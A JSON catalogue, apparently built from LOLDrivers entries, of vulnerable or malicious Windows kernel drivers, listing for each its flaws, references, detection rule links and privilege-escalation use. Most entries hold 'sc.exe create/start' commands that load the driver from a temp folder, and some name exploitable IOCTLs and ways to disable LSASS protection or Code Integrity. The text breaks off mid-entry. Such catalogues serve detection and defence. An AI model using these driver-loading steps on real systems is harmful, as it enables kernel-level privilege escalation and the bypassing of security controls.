    "_source": "windows-kernel-sysinfodetectorx64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create SysInfoDetectorX64sys binPath= C:\\windows\\temp\\SysInfoDetectorX64sys.sys type=kernel && sc.exe start SysInfoDetectorX64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-sysinfodetectorx64",
    "install": [
      {
        "method": "custom",
        "description": "Load SysInfoDetectorX64.sys kernel driver",
        "commands": [
          "sc.exe create SysInfoDetectorX64sys binPath= C:\\windows\\temp\\SysInfoDetectorX64sys.sys type=kernel && sc.exe start SysInfoDetectorX64sys"
        ]
      }
    ],
    "name": "SysInfoDetectorX64.sys",
    "namespace": "windows:kernel:sysinfodetectorx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SysInfoX64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SysInfoX64.sys type=kernel && sc.exe start SysInfoX64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SysInfoX64.sys\"\n\n# SysInfoX64.sys\n\nSysInfoX64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sysinfox64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SysInfoX64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create SysInfoX64 binPath=C:\\windows\\temp\\SysInfoX64.sys type=kernel && sc.exe start SysInfoX64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sysinfox64",
    "install": [
      {
        "method": "custom",
        "description": "Load SysInfoX64.sys kernel driver",
        "commands": [
          "sc.exe create SysInfoX64 binPath=C:\\windows\\temp\\SysInfoX64.sys type=kernel && sc.exe start SysInfoX64"
        ]
      }
    ],
    "name": "SysInfoX64.sys",
    "namespace": "windows:kernel:sysinfox64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create szkg64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\szkg64.sys type=kernel && sc.exe start szkg64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver szkg64.sys\"\n\n# szkg64.sys\n\nThe StopZilla driver is a forgotten but still exploitable vulnerable driver that allows arbitrary kernel memory writes via unvalidated IOCTLs (0x80002063 and 0x8000206F). Attackers can leverage it to escalate privileges, disable LSASS PPL protection, and even modify PreviousMode in _KTHREAD to execute user-mode code as kernel-mode, effectively bypassing security checks. Despite its risks, it remains unblocked by Microsoft’s Driver Block List and many AV/EDR solutions. This driver highlights the persistent threat of forgotten vulnerable drivers still exploitable in modern Windows environments.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-szkg64.md",
    "author": "decoder",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The StopZilla driver is a forgotten but still exploitable vulnerable driver that allows arbitrary kernel memory writes via unvalidated IOCTLs (0x80002063 and 0x8000206F). Attackers can leverage it to escalate privileges, disable LSASS PPL protection, and even modify PreviousMode in _KTHREAD to execute user-mode code as kernel-mode, effectively bypassing security checks. Despite its risks, it remains unblocked by Microsoft’s Driver Block List and many AV/EDR solutions. This driver highlights t...",
    "execution": {
      "template": "sc.exe create szkg64.sys binPath=C:\\windows\\temp\\szkg64.sys type=kernel && sc.exe start szkg64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-szkg64",
    "install": [
      {
        "method": "custom",
        "description": "Load szkg64.sys kernel driver",
        "commands": [
          "sc.exe create szkg64.sys binPath=C:\\windows\\temp\\szkg64.sys type=kernel && sc.exe start szkg64.sys"
        ]
      }
    ],
    "name": "szkg64.sys",
    "namespace": "windows:kernel:szkg64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.greyhathacker.net/?p=1025"
      },
      {
        "label": "Reference",
        "url": "https://decoder.cloud/2025/01/09/the-almost-forgotten-vulnerable-driver/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create t.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\t.sys type=kernel && sc.exe start t.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver t.sys\"\n\n# t.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-t.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create t.sys binPath=C:\\windows\\temp\\t.sys type=kernel && sc.exe start t.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-t",
    "install": [
      {
        "method": "custom",
        "description": "Load t.sys kernel driver",
        "commands": [
          "sc.exe create t.sys binPath=C:\\windows\\temp\\t.sys type=kernel && sc.exe start t.sys"
        ]
      }
    ],
    "name": "t.sys",
    "namespace": "windows:kernel:t",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create t3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\t3.sys type=kernel && sc.exe start t3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver t3.sys\"\n\n# t3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-t3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create t3.sys binPath=C:\\windows\\temp\\t3.sys type=kernel && sc.exe start t3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-t3",
    "install": [
      {
        "method": "custom",
        "description": "Load t3.sys kernel driver",
        "commands": [
          "sc.exe create t3.sys binPath=C:\\windows\\temp\\t3.sys type=kernel && sc.exe start t3.sys"
        ]
      }
    ],
    "name": "t3.sys",
    "namespace": "windows:kernel:t3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create t7.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\t7.sys type=kernel && sc.exe start t7.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver t7.sys\"\n\n# t7.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-t7.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create t7.sys binPath=C:\\windows\\temp\\t7.sys type=kernel && sc.exe start t7.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-t7",
    "install": [
      {
        "method": "custom",
        "description": "Load t7.sys kernel driver",
        "commands": [
          "sc.exe create t7.sys binPath=C:\\windows\\temp\\t7.sys type=kernel && sc.exe start t7.sys"
        ]
      }
    ],
    "name": "t7.sys",
    "namespace": "windows:kernel:t7",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create t8.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\t8.sys type=kernel && sc.exe start t8.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver t8.sys\"\n\n# t8.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-t8.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create t8.sys binPath=C:\\windows\\temp\\t8.sys type=kernel && sc.exe start t8.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-t8",
    "install": [
      {
        "method": "custom",
        "description": "Load t8.sys kernel driver",
        "commands": [
          "sc.exe create t8.sys binPath=C:\\windows\\temp\\t8.sys type=kernel && sc.exe start t8.sys"
        ]
      }
    ],
    "name": "t8.sys",
    "namespace": "windows:kernel:t8",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create tboflhelper binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\tboflhelper.sys type=kernel && sc.exe start tboflhelper\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver tboflhelper.sys\"\n\n# tboflhelper.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privelege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tboflhelper.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privelege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create tboflhelper binPath=C:\\windows\\temp\\tboflhelper.sys type=kernel && sc.exe start tboflhelper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-tboflhelper",
    "install": [
      {
        "method": "custom",
        "description": "Load tboflhelper.sys kernel driver",
        "commands": [
          "sc.exe create tboflhelper binPath=C:\\windows\\temp\\tboflhelper.sys type=kernel && sc.exe start tboflhelper"
        ]
      }
    ],
    "name": "tboflhelper.sys",
    "namespace": "windows:kernel:tboflhelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/vulnerability-notice-terabyte-image-for-windows?hsLang=en"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TBT_Force_Power_Control_Access64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TBT_Force_Power_Control_Access64.sys type=kernel && sc.exe start TBT_Force_Power_Control_Access64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TBT_Force_Power_Control_Access64.sys\"\n\n# TBT_Force_Power_Control_Access64.sys\n\nTBT_Force_Power_Control_Access64.sys is a Thunderbolt force power control driver from Wistron Corporation that exposes physical memory read/write via MmMapIoSpace. Wistron is a major Taiwan-based OEM/ODM. Another Wistron driver (WiRwaDrv.sys) is already tracked in LOLDrivers. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tbt-force-power-control-access64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "TBT_Force_Power_Control_Access64.sys is a Thunderbolt force power control driver from Wistron Corporation that exposes physical memory read/write via MmMapIoSpace. Wistron is a major Taiwan-based OEM/ODM. Another Wistron driver (WiRwaDrv.sys) is already tracked in LOLDrivers. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create TBT_Force_Power_Control_Access64 binPath=C:\\windows\\temp\\TBT_Force_Power_Control_Access64.sys type=kernel && sc.exe start TBT_Force_Power_Control_Access64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-tbt-force-power-control-access64",
    "install": [
      {
        "method": "custom",
        "description": "Load TBT_Force_Power_Control_Access64.sys kernel driver",
        "commands": [
          "sc.exe create TBT_Force_Power_Control_Access64 binPath=C:\\windows\\temp\\TBT_Force_Power_Control_Access64.sys type=kernel && sc.exe start TBT_Force_Power_Control_Access64"
        ]
      }
    ],
    "name": "TBT_Force_Power_Control_Access64.sys",
    "namespace": "windows:kernel:tbt-force-power-control-access64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/316"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TcIo binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TcIo.sys type=kernel && sc.exe start TcIo\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TcIo.sys\"\n\n# TcIo.sys\n\nTcIo.sys and TcRouter.sys are WHQL Microsoft-signed kernel drivers from Beckhoff Automation GmbH (TwinCAT 3 Industrial Automation Runtime). TcIo.sys exposes arbitrary physical memory read/write via ZwOpenSection on Device\\PhysicalMemory, arbitrary MMIO mapping via MmMapIoSpace, PCI configuration space read/write via HalGetBusDataByOffset and HalSetBusDataByOffset, and full PCI BAR probing and mapping. TcRouter.sys exposes arbitrary port I/O via direct ring-0 in/out instructions. Both drivers use plain IoCreateDevice with no DACL and have no caller validation on IRP_MJ_CREATE. All IOCTLs use METHOD_NEITHER with FILE_ANY_ACCESS. No hardware gate -- drivers load on any x64 Windows without Beckhoff hardware. CVE-2018-7502 was assigned for an untrusted pointer dereference in IOCTL 0x222206 affecting 19 drivers in the TwinCAT family (CISA advisory ICSA-18-081-02, Source Incite SRC-2018-0007). The physical memory and port I/O primitives described here go beyond the scope of CVE-2018-7502. 18 related drivers share the same codebase and certificate.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tcio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "TcIo.sys and TcRouter.sys are WHQL Microsoft-signed kernel drivers from Beckhoff Automation GmbH (TwinCAT 3 Industrial Automation Runtime). TcIo.sys exposes arbitrary physical memory read/write via ZwOpenSection on Device\\PhysicalMemory, arbitrary MMIO mapping via MmMapIoSpace, PCI configuration space read/write via HalGetBusDataByOffset and HalSetBusDataByOffset, and full PCI BAR probing and mapping. TcRouter.sys exposes arbitrary port I/O via direct ring-0 in/out instructions. Both drivers ...",
    "execution": {
      "template": "sc.exe create TcIo binPath=C:\\windows\\temp\\TcIo.sys type=kernel && sc.exe start TcIo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-tcio",
    "install": [
      {
        "method": "custom",
        "description": "Load TcIo.sys kernel driver",
        "commands": [
          "sc.exe create TcIo binPath=C:\\windows\\temp\\TcIo.sys type=kernel && sc.exe start TcIo"
        ]
      }
    ],
    "name": "TcIo.sys",
    "namespace": "windows:kernel:tcio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/296"
      },
      {
        "label": "Reference",
        "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-18-081-02"
      },
      {
        "label": "Reference",
        "url": "https://srcincite.io/advisories/src-2018-0007/"
      },
      {
        "label": "Reference",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7502"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create tdeio64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\tdeio64sys.sys type=kernel && sc.exe start tdeio64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver tdeio64.sys\"\n\n# tdeio64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tdeio64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create tdeio64sys binPath= C:\\windows\\temp\\tdeio64sys.sys type=kernel && sc.exe start tdeio64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-tdeio64",
    "install": [
      {
        "method": "custom",
        "description": "Load tdeio64.sys kernel driver",
        "commands": [
          "sc.exe create tdeio64sys binPath= C:\\windows\\temp\\tdeio64sys.sys type=kernel && sc.exe start tdeio64sys"
        ]
      }
    ],
    "name": "tdeio64.sys",
    "namespace": "windows:kernel:tdeio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TdkLib64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TdkLib64sys.sys type=kernel && sc.exe start TdkLib64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TdkLib64.sys\"\n\n# TdkLib64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tdklib64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create TdkLib64sys binPath= C:\\windows\\temp\\TdkLib64sys.sys type=kernel && sc.exe start TdkLib64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-tdklib64",
    "install": [
      {
        "method": "custom",
        "description": "Load TdkLib64.sys kernel driver",
        "commands": [
          "sc.exe create TdkLib64sys binPath= C:\\windows\\temp\\TdkLib64sys.sys type=kernel && sc.exe start TdkLib64sys"
        ]
      }
    ],
    "name": "TdkLib64.sys",
    "namespace": "windows:kernel:tdklib64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create telephonuAfY.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\telephonuAfY.sys type=kernel && sc.exe start telephonuAfY.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver telephonuAfY.sys\"\n\n# telephonuAfY.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-telephonuafy.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create telephonuAfY.sys binPath=C:\\windows\\temp\\telephonuAfY.sys type=kernel && sc.exe start telephonuAfY.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-telephonuafy",
    "install": [
      {
        "method": "custom",
        "description": "Load telephonuAfY.sys kernel driver",
        "commands": [
          "sc.exe create telephonuAfY.sys binPath=C:\\windows\\temp\\telephonuAfY.sys type=kernel && sc.exe start telephonuAfY.sys"
        ]
      }
    ],
    "name": "telephonuAfY.sys",
    "namespace": "windows:kernel:telephonuafy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create termdd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\termdd.sys type=kernel && sc.exe start termdd.sys\"\n\n# termdd.sys\n\nA vulnerable kernel driver that can be used to disable Code Integrity\n\n**Use Case:** Code Integrity Tampering\n\n**Required Privileges:** Admin privileges\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-termdd.md",
    "author": "Andrea Monzani, Antonio Parata",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A vulnerable kernel driver that can be used to disable Code Integrity",
    "execution": {
      "template": "sc.exe create termdd.sys binPath=C:\\windows\\temp\\termdd.sys type=kernel && sc.exe start termdd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-termdd",
    "install": [
      {
        "method": "custom",
        "description": "Load termdd.sys kernel driver",
        "commands": [
          "sc.exe create termdd.sys binPath=C:\\windows\\temp\\termdd.sys type=kernel && sc.exe start termdd.sys"
        ]
      }
    ],
    "name": "termdd.sys",
    "namespace": "windows:kernel:termdd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://kat.lua.cz/posts/Some_fun_with_vintage_bugs_and_driver_signing_enforcement/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create test2.sys binPath=C:\\\\windows\\\\temp\\\\test2.sys type=kernel && sc.exe start test2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver test2.sys\"\n\n# test2.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-test2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-test2",
    "name": "test2.sys",
